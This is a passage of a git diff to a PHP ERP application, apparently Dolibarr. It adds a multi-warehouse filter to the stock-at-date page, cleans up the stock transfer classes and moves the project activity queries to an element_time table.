'&id='.$object->id; + + if ($limit > 0 && $limit != $conf->liste_limit) { + $option .= '&limit='.urlencode($limit); + } + if (!empty($search_month)) { + $option .= '&search_month='.urlencode($search_month); + } + if (!empty($search_year)) { + $option .= '&search_year='.urlencode($search_year); + } + + print '
      '."\n"; + print ''; + if (!empty($sortfield)) { + print ''; + } + if (!empty($sortorder)) { + print ''; + } + + print_barre_liste($langs->trans("Receptions"), $page, $_SERVER["PHP_SELF"], $option, $sortfield, $sortorder, '', $num, $totalofrecords, '', 0, '', '', $limit, 0, 0, 1); + + if (!empty($page)) { + $option .= '&page='.urlencode($page); + } + + print '
      '; + print '
      '; + print $langs->trans('Period').' ('.$langs->trans("DateCreation").') - '; + print $langs->trans('Month').': '; + print $langs->trans('Year').':'.$formother->selectyear($search_year ? $search_year : - 1, 'search_year', 1, 20, 5); + print '
      '; + print ''; + print ''; + print '
      '; + print '
      '; + print '
      '; + + $i = 0; + print '
      '; + print ''; + print ''; + print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "s.rowid", "", $option, '', $sortfield, $sortorder); + print_liste_field_titre("Company", $_SERVER["PHP_SELF"], "s.nom", "", $option, '', $sortfield, $sortorder); + print_liste_field_titre("SupplierCode", $_SERVER["PHP_SELF"], "s.code_fournisseur", "", $option, '', $sortfield, $sortorder); + print_liste_field_titre("DateCreation", $_SERVER["PHP_SELF"], "recep.date_creation", "", $option, 'align="center"', $sortfield, $sortorder); + print_liste_field_titre("Qty", $_SERVER["PHP_SELF"], "d.qty", "", $option, 'align="center"', $sortfield, $sortorder); + // print_liste_field_titre("AmountHT", $_SERVER["PHP_SELF"], "d.total_ht", "", $option, 'align="right"', $sortfield, $sortorder); + print_liste_field_titre("Status", $_SERVER["PHP_SELF"], "recep.fk_statut", "", $option, 'align="right"', $sortfield, $sortorder); + print "\n"; + + if ($num > 0) { + while ($i < min($num, $limit)) { + $objp = $db->fetch_object($result); + + $total_ht += $objp->total_ht; + $total_qty += $objp->qty; + + $receptionstatic->id = $objp->facid; + $receptionstatic->ref = $objp->ref; + $societestatic->fetch($objp->socid); + // $paiement = $receptionstatic->getSommePaiement(); + + print ''; + print '\n"; + print ''; + print "\n"; + print '"; + print '\n"; + // print '\n"; + print ''; + print "\n"; + $i++; + } + } + print ''; + if ($num < $limit) { + print ''; + } else { + print ''; + } + print ''; + print ''; + print ''; + print ''; + print "
      '; + print $receptionstatic->getNomUrl(1); + print "'.$societestatic->getNomUrl(1).'".$objp->code_fournisseur."'; + print dol_print_date($db->jdate($objp->date_creation), 'dayhour')."'.$objp->qty."'.price($objp->total_ht)."'.$receptionstatic->LibStatut($objp->statut, 5).'
      '.$langs->trans("Total").''.$langs->trans("Totalforthispage").''.$total_qty.'
      "; + print '
      '; + print '
      '; + } else { + dol_print_error($db); + } + $db->free($result); + } + } +} else { + dol_print_error(); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/product/stock/stockatdate.php b/htdocs/product/stock/stockatdate.php index 69893559dfa..46c902238de 100644 --- a/htdocs/product/stock/stockatdate.php +++ b/htdocs/product/stock/stockatdate.php @@ -67,7 +67,21 @@ $search_nom = GETPOST('search_nom', 'alphanohtml'); $now = dol_now(); $productid = GETPOST('productid', 'int'); -$fk_warehouse = GETPOST('fk_warehouse', 'int'); +if (GETPOSTISARRAY('search_fk_warehouse')) { + $search_fk_warehouse = GETPOST('search_fk_warehouse', 'array:int'); +} else { + $search_fk_warehouse = array(GETPOST('search_fk_warehouse', 'int')); +} +// For backward compatibility +if (GETPOST('fk_warehouse', 'int')) { + $search_fk_warehouse = array(GETPOST('fk_warehouse', 'int')); +} +// Clean value -1 +foreach ($search_fk_warehouse as $key => $val) { + if ($val == -1 || empty($val)) { + unset($search_fk_warehouse[$key]); + } +} $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); @@ -111,7 +125,7 @@ if ($mode == 'future') { if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // Both test are required to be compatible with all browsers $date = ''; $productid = 0; - $fk_warehouse = 0; + $search_fk_warehouse = array(); $search_ref = ''; $search_nom = ''; } @@ -139,8 +153,8 @@ if ($date && $dateIsValid) { // Avoid heavy sql if mandatory date is not defined if ($productid > 0) { $sql .= " AND ps.fk_product = ".((int) $productid); } - if ($fk_warehouse > 0) { - $sql .= " AND ps.fk_entrepot = ".((int) $fk_warehouse); + if (! empty($search_fk_warehouse)) { + $sql .= " AND ps.fk_entrepot IN (".$db->sanitize(join(",", $search_fk_warehouse)).")"; } $sql .= " GROUP BY fk_product, fk_entrepot"; //print $sql; @@ -194,8 +208,8 @@ if ($date && $dateIsValid) { if ($productid > 0) { $sql .= " AND sm.fk_product = ".((int) $productid); } - if ($fk_warehouse > 0) { - $sql .= " AND sm.fk_entrepot = ".((int) $fk_warehouse); + if (!empty($search_fk_warehouse)) { + $sql .= " AND sm.fk_entrepot IN (".$db->sanitize(join(",", $search_fk_warehouse)).")"; } $sql .= " GROUP BY sm.fk_product, sm.fk_entrepot"; $resql = $db->query($sql); @@ -246,7 +260,7 @@ $title = $langs->trans('StockAtDate'); $sql = 'SELECT p.rowid, p.ref, p.label, p.description, p.price, p.pmp,'; $sql .= ' p.price_ttc, p.price_base_type, p.fk_product_type, p.desiredstock, p.seuil_stock_alerte,'; $sql .= ' p.tms as datem, p.duration, p.tobuy, p.stock, '; -if ($fk_warehouse > 0) { +if (!empty($search_fk_warehouse)) { $sql .= " SUM(p.pmp * ps.reel) as estimatedvalue, SUM(p.price * ps.reel) as sellvalue"; $sql .= ', SUM(ps.reel) as stock_reel'; } else { @@ -258,8 +272,8 @@ $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters); // N $sql .= $hookmanager->resPrint; $sql .= ' FROM '.MAIN_DB_PREFIX.'product as p'; -if ($fk_warehouse > 0) { - $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'product_stock as ps ON p.rowid = ps.fk_product AND ps.fk_entrepot = '.((int) $fk_warehouse); +if (!empty($search_fk_warehouse)) { + $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'product_stock as ps ON p.rowid = ps.fk_product AND ps.fk_entrepot IN ('.$db->sanitize(join(",", $search_fk_warehouse)).")"; } // Add fields from hooks $parameters = array(); @@ -275,22 +289,17 @@ if (empty($conf->global->STOCK_SUPPORTS_SERVICES)) { if (!empty($canvas)) { $sql .= " AND p.canvas = '".$db->escape($canvas)."'"; } -if ($fk_warehouse > 0) { - $sql .= ' GROUP BY p.rowid, p.ref, p.label, p.description, p.price, p.price_ttc, p.price_base_type, p.fk_product_type, p.desiredstock, p.seuil_stock_alerte,'; - $sql .= ' p.tms, p.duration, p.tobuy, p.stock'; -} else { - $sql .= ' GROUP BY p.rowid, p.ref, p.label, p.description, p.price, p.price_ttc, p.price_base_type, p.fk_product_type, p.desiredstock, p.seuil_stock_alerte,'; - $sql .= ' p.tms, p.duration, p.tobuy, p.stock'; -} +$sql .= ' GROUP BY p.rowid, p.ref, p.label, p.description, p.price, p.pmp, p.price_ttc, p.price_base_type, p.fk_product_type, p.desiredstock, p.seuil_stock_alerte,'; +$sql .= ' p.tms, p.duration, p.tobuy, p.stock'; // Add where from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; -if ($sortfield == 'stock_reel' && $fk_warehouse <= 0) { +if ($sortfield == 'stock_reel' && empty($search_fk_warehouse)) { $sortfield = 'stock'; } -if ($sortfield == 'stock' && $fk_warehouse > 0) { +if ($sortfield == 'stock' && !empty($search_fk_warehouse)) { $sortfield = 'stock_reel'; } $sql .= $db->order($sortfield, $sortorder); @@ -319,7 +328,6 @@ if ($date && $dateIsValid) { // We avoid a heavy sql if mandatory parameter date } $i = 0; -//print $sql; $helpurl = 'EN:Module_Stocks_En|FR:Module_Stock|'; $helpurl .= 'ES:Módulo_Stocks'; @@ -361,10 +369,15 @@ print img_picto('', 'product', 'class="pictofiwedwidth"').' '; print ' '; print $form->select_produits($productid, 'productid', '', 0, 0, -1, 2, '', 0, array(), 0, $langs->trans('Product'), 0, 'maxwidth300', 0, '', null, 1); -print '   '; -print img_picto('', 'stock', 'class="pictofiwedwidth"'); -print ' '; -print $formproduct->selectWarehouses((GETPOSTISSET('fk_warehouse') ? $fk_warehouse : 'ifonenodefault'), 'fk_warehouse', '', 1, 0, 0, $langs->trans('Warehouse'), 0, 0, null, '', null, 1, false, 'e.ref'); +if ($mode != 'future') { + // A virtual stock in future has no sense on a per warehouse view, so no filter on warehouse is available for stock at date in future + print '   '; + print img_picto('', 'stock', 'class="pictofixedwidth"').$langs->trans("Warehouse").' :'; + print ' '; + $selected = ((GETPOSTISSET('search_fk_warehouse') || GETPOSTISSET('fk_warehouse')) ? $search_fk_warehouse : 'ifonenodefault'); + print $formproduct->selectWarehouses($selected, 'search_fk_warehouse', '', 1, 0, 0, $langs->trans('Warehouse'), 0, 0, null, 'minwidth200', null, 1, false, 'e.ref', 1); +} + print '
      '; $parameters = array(); @@ -387,8 +400,10 @@ if ($limit > 0 && $limit != $conf->liste_limit) { $param .= '&limit='.urlencode($limit); } $param .= '&mode='.$mode; -if ($fk_warehouse > 0) { - $param .= '&fk_warehouse='.$fk_warehouse; +if (!empty($search_fk_warehouse)) { + foreach ($search_fk_warehouse as $val) { + $param .= '&search_fk_warehouse[]='.$val; + } } if ($productid > 0) { $param .= '&productid='.$productid; @@ -414,7 +429,6 @@ if ($mode == 'future') { $stocklabel = $langs->trans("VirtualStockAtDate"); } -//print '
      '; print ''; print ''; print ''; @@ -446,7 +460,7 @@ print ''; print ''; $fieldtosortcurrentstock = 'stock'; -if ($fk_warehouse > 0) { +if (!empty($search_fk_warehouse)) { $fieldtosortcurrentstock = 'stock_reel'; } @@ -506,9 +520,14 @@ while ($i < ($limit ? min($num, $limit) : $num)) { }*/ $currentstock = ''; - if ($fk_warehouse > 0) { + if (!empty($search_fk_warehouse)) { //if ($productid > 0) { - $currentstock = $stock_prod_warehouse[$objp->rowid][$fk_warehouse]; + foreach ($search_fk_warehouse as $val) { + if (!is_numeric($currentstock)) { + $currentstock = 0; + } + $currentstock += $stock_prod_warehouse[$objp->rowid][$val]; + } //} else { // $currentstock = $objp->stock_reel; //} @@ -521,17 +540,21 @@ while ($i < ($limit ? min($num, $limit) : $num)) { } if ($mode == 'future') { - $prod->load_stock('warehouseopen, warehouseinternal', 0, $dateendofday); - $stock = $prod->stock_theorique; - $prod->load_stock('warehouseopen, warehouseinternal', 0); - $virtualstock = $prod->stock_theorique; + $prod->load_stock('warehouseopen,warehouseinternal,nobatch', 0, $dateendofday); + $stock = $prod->stock_theorique; // virtual stock at a date + $prod->load_stock('warehouseopen,warehouseinternal,nobatch', 0); + $virtualstock = $prod->stock_theorique; // virtual stock in infinite future } else { - if ($fk_warehouse > 0) { - $stock = $currentstock - $movements_prod_warehouse[$objp->rowid][$fk_warehouse]; - $nbofmovement = $movements_prod_warehouse_nb[$objp->rowid][$fk_warehouse]; + $stock = $currentstock; + $nbofmovement = 0; + if (!empty($search_fk_warehouse)) { + foreach ($search_fk_warehouse as $val) { + $stock -= $movements_prod_warehouse[$objp->rowid][$val]; + $nbofmovement += $movements_prod_warehouse_nb[$objp->rowid][$val]; + } } else { - $stock = $currentstock - $movements_prod[$objp->rowid]; - $nbofmovement = $movements_prod_nb[$objp->rowid]; + $stock -= $movements_prod[$objp->rowid]; + $nbofmovement += $movements_prod_nb[$objp->rowid]; } } @@ -585,7 +608,11 @@ while ($i < ($limit ? min($num, $limit) : $num)) { print ''; if ($nbofmovement > 0) { - print ''.$langs->trans("Movements").''; + print ''.$langs->trans("Movements").''; print ' '.$nbofmovement.''; } print ''; diff --git a/htdocs/product/stock/stocktransfer/class/stocktransfer.class.php b/htdocs/product/stock/stocktransfer/class/stocktransfer.class.php index 5ffb56ced44..f07610c6898 100644 --- a/htdocs/product/stock/stocktransfer/class/stocktransfer.class.php +++ b/htdocs/product/stock/stocktransfer/class/stocktransfer.class.php @@ -57,11 +57,19 @@ class StockTransfer extends CommonObject */ public $isextrafieldmanaged = 1; + /** - * @var string Customer ref - * @deprecated - * @see $ref_customer - */ + * @var array List of child tables. To know object to delete on cascade. + * If name matches '@ClassNAme:FilePathClass;ParentFkFieldName' it will + * call method deleteByParentField(parentId, ParentFkFieldName) to fetch and delete child object + */ + protected $childtablesoncascade = array('stocktransfer_stocktransferline'); + + /** + * @var string Customer ref + * @deprecated + * @see $ref_customer + */ public $ref_client; /** @@ -123,7 +131,7 @@ class StockTransfer extends CommonObject 'label' => array('type'=>'varchar(255)', 'label'=>'Label', 'enabled'=>'1', 'position'=>30, 'notnull'=>0, 'visible'=>1, 'searchall'=>1, 'css'=>'minwidth200'/*, 'help'=>"Help text"*/, 'showoncombobox'=>'1',), 'description' => array('type'=>'text', 'label'=>'Description', 'enabled'=>'1', 'position'=>31, 'notnull'=>0, 'visible'=>3,), 'fk_project' => array('type'=>'integer:Project:projet/class/project.class.php:1', 'label'=>'Project', 'enabled'=>'$conf->project->enabled', 'position'=>32, 'notnull'=>-1, 'visible'=>-1, 'index'=>1,), - 'fk_soc' => array('type'=>'integer:Societe:societe/class/societe.class.php:1:status=1 AND entity IN (__SHARED_ENTITIES__)', 'label'=>'ThirdParty', 'enabled'=>'1', 'position'=>50, 'notnull'=>-1, 'visible'=>1, 'index'=>1/*, 'help'=>"LinkToThirdparty"*/,), + 'fk_soc' => array('type'=>'integer:Societe:societe/class/societe.class.php:1:((status:=:1) AND (entity:IN:__SHARED_ENTITIES__))', 'label'=>'ThirdParty', 'enabled'=>'1', 'position'=>50, 'notnull'=>-1, 'visible'=>1, 'index'=>1/*, 'help'=>"LinkToThirdparty"*/,), 'fk_warehouse_source' => array('type'=>'integer:Entrepot:product/stock/class/entrepot.class.php', 'label'=>'Entrepôt source', 'enabled'=>'1', 'position'=>50, 'notnull'=>0, 'visible'=>1, 'help'=>'HelpWarehouseStockTransferSource',), 'fk_warehouse_destination' => array('type'=>'integer:Entrepot:product/stock/class/entrepot.class.php', 'label'=>'Entrepôt de destination', 'enabled'=>'1', 'position'=>51, 'notnull'=>0, 'visible'=>1, 'help'=>'HelpWarehouseStockTransferDestination'), 'note_public' => array('type'=>'html', 'label'=>'NotePublic', 'enabled'=>'1', 'position'=>61, 'notnull'=>0, 'visible'=>0,), @@ -162,42 +170,6 @@ class StockTransfer extends CommonObject // END MODULEBUILDER PROPERTIES - // If this object has a subtable with lines - - /** - * @var int Name of subtable line - */ - public $table_element_line = 'stocktransfer_stocktransferline'; - - /** - * @var int Field with ID of parent key if this object has a parent - */ - public $fk_element = 'fk_stocktransfer'; - - /** - * @var int Name of subtable class that manage subtable lines - */ - //public $class_element_line = 'StockTransferline'; - - /** - * @var array List of child tables. To test if we can delete object. - */ - //protected $childtables = array(); - - /** - * @var array List of child tables. To know object to delete on cascade. - * If name matches '@ClassNAme:FilePathClass;ParentFkFieldName' it will - * call method deleteByParentField(parentId, ParentFkFieldName) to fetch and delete child object - */ - protected $childtablesoncascade = array('stocktransfer_stocktransferline'); - - /** - * @var StockTransferLine[] Array of subtable lines - */ - //public $lines = array(); - - - /** * Constructor * @@ -428,7 +400,7 @@ class StockTransfer extends CommonObject $sql = 'SELECT '; $sql .= $this->getFieldList(); $sql .= ' FROM '.MAIN_DB_PREFIX.$this->table_element.' as t'; - if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) $sql .= ' WHERE t.entity IN ('.getEntity($this->table_element).')'; + if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) $sql .= ' WHERE t.entity IN ('.getEntity($this->element).')'; else $sql .= ' WHERE 1 = 1'; // Manage filter $sqlwhere = array(); @@ -911,8 +883,8 @@ class StockTransfer extends CommonObject $result = $objectline->fetchAll('ASC', 'rang', 0, 0, array('customsql'=>'fk_stocktransfer = '.$this->id)); if (is_numeric($result)) { - $this->error = $this->error; - $this->errors = $this->errors; + $this->error = $objectline->error; + $this->errors = $objectline->errors; return $result; } else { $this->lines = $result; diff --git a/htdocs/product/stock/stocktransfer/class/stocktransferline.class.php b/htdocs/product/stock/stocktransfer/class/stocktransferline.class.php index 14febad09d4..0d4ef0c1939 100644 --- a/htdocs/product/stock/stocktransfer/class/stocktransferline.class.php +++ b/htdocs/product/stock/stocktransfer/class/stocktransferline.class.php @@ -117,42 +117,6 @@ class StockTransferLine extends CommonObjectLine // END MODULEBUILDER PROPERTIES - // If this object has a subtable with lines - - /** - * @var int Name of subtable line - */ - //public $table_element_line = 'stocktransfer_stocktransferlineline'; - - /** - * @var int Field with ID of parent key if this object has a parent - */ - //public $fk_element = 'fk_stocktransferline'; - - /** - * @var int Name of subtable class that manage subtable lines - */ - //public $class_element_line = 'StockTransferLineline'; - - /** - * @var array List of child tables. To test if we can delete object. - */ - //protected $childtables = array(); - - /** - * @var array List of child tables. To know object to delete on cascade. - * If name matches '@ClassNAme:FilePathClass;ParentFkFieldName' it will - * call method deleteByParentField(parentId, ParentFkFieldName) to fetch and delete child object - */ - //protected $childtablesoncascade = array('stocktransfer_stocktransferlinedet'); - - /** - * @var StockTransferLineLine[] Array of subtable lines - */ - //public $lines = array(); - - - /** * Constructor * @@ -338,7 +302,7 @@ class StockTransferLine extends CommonObjectLine $sql = 'SELECT '; $sql .= $this->getFieldList(); $sql .= ' FROM '.MAIN_DB_PREFIX.$this->table_element.' as t'; - if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) $sql .= ' WHERE t.entity IN ('.getEntity($this->table_element).')'; + if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) $sql .= ' WHERE t.entity IN ('.getEntity($this->element).')'; else $sql .= ' WHERE 1 = 1'; // Manage filter $sqlwhere = array(); @@ -915,8 +879,8 @@ class StockTransferLine extends CommonObjectLine $result = $objectline->fetchAll('ASC', 'position', 0, 0, array('customsql'=>'fk_stocktransferline = '.((int) $this->id))); if (is_numeric($result)) { - $this->error = $this->error; - $this->errors = $this->errors; + $this->error = $objectline->error; + $this->errors = $objectline->errors; return $result; } else { $this->lines = $result; diff --git a/htdocs/product/stock/stocktransfer/stocktransfer_agenda.php b/htdocs/product/stock/stocktransfer/stocktransfer_agenda.php index b62dfa5b00d..893bbf05ff6 100644 --- a/htdocs/product/stock/stocktransfer/stocktransfer_agenda.php +++ b/htdocs/product/stock/stocktransfer/stocktransfer_agenda.php @@ -45,8 +45,9 @@ if (GETPOST('actioncode', 'array')) { $actioncode = GETPOST('actioncode', 'array', 3); if (!count($actioncode)) $actioncode = '0'; } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; @@ -191,7 +192,7 @@ if ($object->id > 0) { if ((!empty($objthirdparty->id) || !empty($objcon->id)) && $permok) { //$out.='trans("AddAnAction"),'filenew'); //$out.=""; @@ -201,7 +202,7 @@ if ($object->id > 0) { print '
      '; if (isModEnabled('agenda')) { - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { print ''.$langs->trans("AddAction").''; } else { print ''.$langs->trans("AddAction").''; @@ -221,9 +222,9 @@ if ($object->id > 0) { // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; // TODO Replace this with same code than into list.php - show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, ''); } } diff --git a/htdocs/product/stock/stocktransfer/stocktransfer_card.php b/htdocs/product/stock/stocktransfer/stocktransfer_card.php index 54384ae0b3f..2df2123d00b 100644 --- a/htdocs/product/stock/stocktransfer/stocktransfer_card.php +++ b/htdocs/product/stock/stocktransfer/stocktransfer_card.php @@ -763,7 +763,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea $productlot = new Productlot($db); if ($productlot->fetch(0, $line->fk_product, $line->batch) > 0) { print $productlot->getNomUrl(1); - } elseif (!empty($line->batch)) print $line->batch.' '.img_warning($langs->trans('BatchNotFound'));; + } elseif (!empty($line->batch)) print $line->batch.' '.img_warning($langs->trans('BatchNotFound')); } print ''; } diff --git a/htdocs/product/stock/stocktransfer/stocktransfer_contact.php b/htdocs/product/stock/stocktransfer/stocktransfer_contact.php index 6c0ef97fe28..045af2dd42a 100644 --- a/htdocs/product/stock/stocktransfer/stocktransfer_contact.php +++ b/htdocs/product/stock/stocktransfer/stocktransfer_contact.php @@ -151,7 +151,7 @@ if ($object->id > 0) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/product/stock/stocktransfer/stocktransfer_list.php b/htdocs/product/stock/stocktransfer/stocktransfer_list.php index 72c538a58c6..2a57b3f2f94 100644 --- a/htdocs/product/stock/stocktransfer/stocktransfer_list.php +++ b/htdocs/product/stock/stocktransfer/stocktransfer_list.php @@ -178,17 +178,17 @@ $title = $langs->trans('StockTransferList'); // Build and execute select // -------------------------------------------------------------------- $sql = 'SELECT '; -foreach ($object->fields as $key => $val) { - $sql .= "t.".$key.", "; -} +$sql .= $object->getFieldList('t'); // Add fields from extrafields if (!empty($extrafields->attributes[$object->table_element]['label'])) { - foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? "ef.".$key." as options_".$key.', ' : ''); + foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { + $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? ", ef.".$key." as options_".$key : ''); + } } // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (t.rowid = ef.fk_object)"; diff --git a/htdocs/product/stock/tpl/extrafields_add.tpl.php b/htdocs/product/stock/tpl/extrafields_add.tpl.php index 144c638a1cf..951704a4352 100644 --- a/htdocs/product/stock/tpl/extrafields_add.tpl.php +++ b/htdocs/product/stock/tpl/extrafields_add.tpl.php @@ -42,8 +42,14 @@ $reshook = $hookmanager->executeHooks('formObjectOptions', $parameters, $object, print $hookmanager->resPrint; if (empty($reshook)) { $params = array(); - if (isset($tpl_context)) $params['tpl_context'] = $tpl_context; - $params['cols'] = $parameters['colspanvalue']; + $params['cols'] = key_exists('colspanvalue', $parameters) ? $parameters['colspanvalue'] : ''; + if (!empty($parameters['tdclass'])) { + $params['tdclass'] = $parameters['tdclass']; + } + if (!empty($parameters['tpl_context'])) { + $params['tpl_context'] = $parameters['tpl_context']; + } + print $object->showOptionals($extrafields, 'create', $params); } diff --git a/htdocs/product/stock/tpl/stockcorrection.tpl.php b/htdocs/product/stock/tpl/stockcorrection.tpl.php index 69ae5eda5e0..793c0dcd1e4 100644 --- a/htdocs/product/stock/tpl/stockcorrection.tpl.php +++ b/htdocs/product/stock/tpl/stockcorrection.tpl.php @@ -122,7 +122,7 @@ if ($object->element == 'stock') { print ''.$langs->trans("NumberOfUnit").''; print ''; if ($object->element == 'product' || $object->element == 'stock') { - print ''; print ''; print ''; print ''; diff --git a/htdocs/projet/activity/index.php b/htdocs/projet/activity/index.php index bbd9442f876..93da1e218e4 100644 --- a/htdocs/projet/activity/index.php +++ b/htdocs/projet/activity/index.php @@ -3,6 +3,7 @@ * Copyright (C) 2006-2015 Laurent Destailleur * Copyright (C) 2010 Regis Houssin * Copyright (C) 2019 Nicolas ZABOURI + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -36,6 +37,11 @@ if ($search_project_user == $user->id) { $mine = 1; } +$hookmanager = new HookManager($db); + +// Initialize technical object to manage hooks. Note that conf->hooks_modules contains array +$hookmanager->initHooks(array('activityindex')); + // Security check $socid = 0; if ($user->socid > 0) { @@ -46,11 +52,6 @@ if (!$user->rights->projet->lire) { accessforbidden(); } -$hookmanager = new HookManager($db); - -// Initialize technical object to manage hooks. Note that conf->hooks_modules contains array -$hookmanager->initHooks(array('activityindex')); - // Load translation files required by the page $langs->load("projects"); @@ -116,15 +117,16 @@ print ''.$langs->trans('ActivityOnProjectToday').''; print ''.$langs->trans("Time").''; print "\n"; -$sql = "SELECT p.rowid, p.ref, p.title, p.public, SUM(tt.task_duration) as nb"; +$sql = "SELECT p.rowid, p.ref, p.title, p.public, SUM(tt.element_duration) as nb"; $sql .= " FROM ".MAIN_DB_PREFIX."projet as p"; $sql .= ", ".MAIN_DB_PREFIX."projet_task as t"; -$sql .= ", ".MAIN_DB_PREFIX."projet_task_time as tt"; +$sql .= ", ".MAIN_DB_PREFIX."element_time as tt"; $sql .= " WHERE t.fk_projet = p.rowid"; $sql .= " AND p.entity = ".((int) $conf->entity); -$sql .= " AND tt.fk_task = t.rowid"; +$sql .= " AND tt.fk_element = t.rowid"; +$sql .= " AND tt.elementtype = 'task'"; $sql .= " AND tt.fk_user = ".((int) $user->id); -$sql .= " AND task_date BETWEEN '".$db->idate(dol_mktime(0, 0, 0, $month, $day, $year))."' AND '".$db->idate(dol_mktime(23, 59, 59, $month, $day, $year))."'"; +$sql .= " AND element_date BETWEEN '".$db->idate(dol_mktime(0, 0, 0, $month, $day, $year))."' AND '".$db->idate(dol_mktime(23, 59, 59, $month, $day, $year))."'"; $sql .= " AND p.rowid in (".$db->sanitize($projectsListId).")"; $sql .= " GROUP BY p.rowid, p.ref, p.title, p.public"; @@ -169,15 +171,16 @@ print ''.$langs->trans('ActivityOnProjectYesterday').''; print ''.$langs->trans("Time").''; print "\n"; -$sql = "SELECT p.rowid, p.ref, p.title, p.public, SUM(tt.task_duration) as nb"; +$sql = "SELECT p.rowid, p.ref, p.title, p.public, SUM(tt.element_duration) as nb"; $sql .= " FROM ".MAIN_DB_PREFIX."projet as p"; $sql .= ", ".MAIN_DB_PREFIX."projet_task as t"; -$sql .= ", ".MAIN_DB_PREFIX."projet_task_time as tt"; +$sql .= ", ".MAIN_DB_PREFIX."element_time as tt"; $sql .= " WHERE t.fk_projet = p.rowid"; $sql .= " AND p.entity = ".((int) $conf->entity); -$sql .= " AND tt.fk_task = t.rowid"; +$sql .= " AND tt.fk_element = t.rowid"; +$sql .= " AND tt.elementtype = 'task'"; $sql .= " AND tt.fk_user = ".((int) $user->id); -$sql .= " AND task_date BETWEEN '".$db->idate(dol_time_plus_duree(dol_mktime(0, 0, 0, $month, $day, $year), -1, 'd'))."' AND '".$db->idate(dol_time_plus_duree(dol_mktime(23, 59, 59, $month, $day, $year), -1, 'd'))."'"; +$sql .= " AND element_date BETWEEN '".$db->idate(dol_time_plus_duree(dol_mktime(0, 0, 0, $month, $day, $year), -1, 'd'))."' AND '".$db->idate(dol_time_plus_duree(dol_mktime(23, 59, 59, $month, $day, $year), -1, 'd'))."'"; $sql .= " AND p.rowid in (".$db->sanitize($projectsListId).")"; $sql .= " GROUP BY p.rowid, p.ref, p.title, p.public"; @@ -281,15 +284,16 @@ if (!empty($conf->global->PROJECT_TASK_TIME_MONTH)) { print ''.$langs->trans("Time").''; print "\n"; - $sql = "SELECT p.rowid, p.ref, p.title, p.public, SUM(tt.task_duration) as nb"; + $sql = "SELECT p.rowid, p.ref, p.title, p.public, SUM(tt.element_duration) as nb"; $sql .= " FROM ".MAIN_DB_PREFIX."projet as p"; $sql .= ", ".MAIN_DB_PREFIX."projet_task as t"; - $sql .= ", ".MAIN_DB_PREFIX."projet_task_time as tt"; + $sql .= ", ".MAIN_DB_PREFIX."element_time as tt"; $sql .= " WHERE t.fk_projet = p.rowid"; $sql .= " AND p.entity = ".((int) $conf->entity); - $sql .= " AND tt.fk_task = t.rowid"; + $sql .= " AND tt.fk_element = t.rowid"; + $sql .= " AND tt.elementtype = 'task'"; $sql .= " AND tt.fk_user = ".((int) $user->id); - $sql .= " AND task_date BETWEEN '".$db->idate(dol_get_first_day($year, $month))."' AND '".$db->idate(dol_get_last_day($year, $month))."'"; + $sql .= " AND element_date BETWEEN '".$db->idate(dol_get_first_day($year, $month))."' AND '".$db->idate(dol_get_last_day($year, $month))."'"; $sql .= " AND p.rowid in (".$db->sanitize($projectsListId).")"; $sql .= " GROUP BY p.rowid, p.ref, p.title, p.public"; @@ -327,15 